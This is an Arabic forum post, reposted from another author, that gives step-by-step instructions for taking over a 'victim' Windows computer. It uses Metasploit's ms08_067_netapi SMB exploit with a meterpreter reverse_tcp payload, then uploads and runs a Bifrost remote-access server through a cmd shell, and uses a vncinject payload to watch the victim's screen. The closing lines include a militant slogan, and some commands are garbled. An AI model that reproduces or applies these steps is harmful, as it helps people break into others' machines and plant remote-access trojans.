بعد التحية والصلاه والسلام على سيد البشر
محمد صل الله عليه وسلم وعلى اله وصحبة اجميعن
اتيت اليكم بشرح لكيفية اختارق جهاز الضحية Metasploit ورفع سيرفر بيفروست
سأتحدث عن سيطرة الجهاز بإستخدام
playoad windows/vncinject
تم تطبيق الشرح على جهاز افتراضي
الشرح
إضغط علي window وبعد ذلك علي console ستفتح لنا النافذة التالية نكتب show exploits
ونختار windows/smb/ms08_067_netapi
show payloads
ونختار windows/meterpreter/reverse_tcp
أو نختارها مباشرة كما ف الصورة
والآن نقوم بتحديد IP الضحية وهو في هذه الحالة جهازي الإفتراضي RHOST = 192.168.56.101
ولا تنسي أن تضع قم جهازك LHOST =192.168.56.1 لتطبيق الثغرة نكتب exploit وبعد ذلك enter
كما ترون في الصورة لقد نجحنا في تطبيق الثغرة والدخول لي الجهاز عن طريق port 445
لنري خيارات نكتب help والآن سنقوم برفع السيرفر بالأمر upload -r server.exe c:\
كما في الصورة التالية ولكن قبل تحميل السيرفر يجب نسخه في مجلد
C:\Program Files\****sploit\Framework3
بعد رفع السيرفر نشغل برنامج الدوس للضحية بالأوامرالتالية:
use -m process
execute -f cmd.exe -c
interact 3
كما في الصورة حسب رقم channel أو session المفتوح
لتشغيل السيرفر start server.exe
وكما توضح الصورة نجاح تحميل السيرفر
والصور تعبر عن نفسها
شاشة الضحية
لتطبيق payload windows/vncinject نقوم بنفس الخطوات السابقة ولكن بإستبدال
windows/meterpreter/smb/ms08_067_netapi
set windows/vncinject/reverse_tcp
بتطبيق الثغرة ستفتح لنا الشاشة التالية
الموضوع منقول للفائدة شكرا لكاتب الموضوع
تحياتي وتقديري
تم بفضل من الله
كل مانرجو الدعاء في ضهر الغيب لوالديا ووالديكم
بالرحمه والمغفرة ولجميع المسلمين من المضلومين
اخوكم في الله والاسلام
الهلال منسي
الخلافة ولو على جماجمنا
الاختارق عبر الايب اخطر طبخة هكر طعمها مر على الضحية
المفضلات